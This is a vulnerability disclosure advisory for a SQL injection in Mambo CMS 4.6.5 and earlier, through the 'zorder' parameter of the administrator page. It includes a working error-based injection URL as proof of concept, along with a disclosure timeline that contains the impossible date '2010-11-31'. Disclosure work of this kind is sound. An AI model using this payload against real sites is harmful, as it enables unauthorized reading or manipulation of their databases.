Mambo CMS 4.6.x (4.6.5) | SQL Injection
Mambo CMS 4.6.5 and lower versions are vulnerable to SQL Injection.
Mambo is a full-featured, award-winning content management system that can be used for everything from simple websites to complex corporate applications. It is used all over the world to power government portals, corporate intranets and extranets, ecommerce sites, nonprofit outreach, schools, church, and community sites. Mambo's "power in simplicity" also makes it the CMS of choice for many small businesses and personal sites.
3. VULNERABILITY DESCRIPTION
The "zorder" parameter was not properly sanitized upon submission to the administrator/index2.php url, which allows attacker to conduct SQL Injection attack. This could an attacker to inject or manipulate SQL queries in the back-end database, allowing for the manipulation or disclosure of arbitrary data.
4. VERSIONS AFFECTED
Tested on Mambo CMS 4.6.5
http://localhost/mambo/administrator/index2.php?limit=10&order=11&boxchecked=0&toggle=on&search=sqli&task=&limitstart=0&cid=on&zorder=-1 OR (SELECT 9999 FROM(SELECT COUNT(*),CONCAT(CHAR(58,98,112,101,58),(SELECT (CASE WHEN (9999=9999) THEN 1 ELSE 0 END)),CHAR(58,110,100,107,58),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)&filter_authorid=62&hidemainmenu=0&option=com_typedcontent
The vendor seems to discontinue the development. It is recommended to use another CMS in active development.
Mambo CMS Development Team
This vulnerability was discovered by Aung Khant, http://yehg.net, YGN Ethical Hacker Group, Myanmar.
9. DISCLOSURE TIME-LINE
2010-11-31: notified vendor through bug tracker
2011-08-12: no patched version released up to date
2011-08-12: vulnerability disclosed
Original Advisory URL: http://yehg.net/lab/pr0js/advisories/[mambo4.6_x]_sql_injection
Mambo CMS: http://mambo-code.org/gf/download/frsrelease/388/791/MamboV4.6.5.zip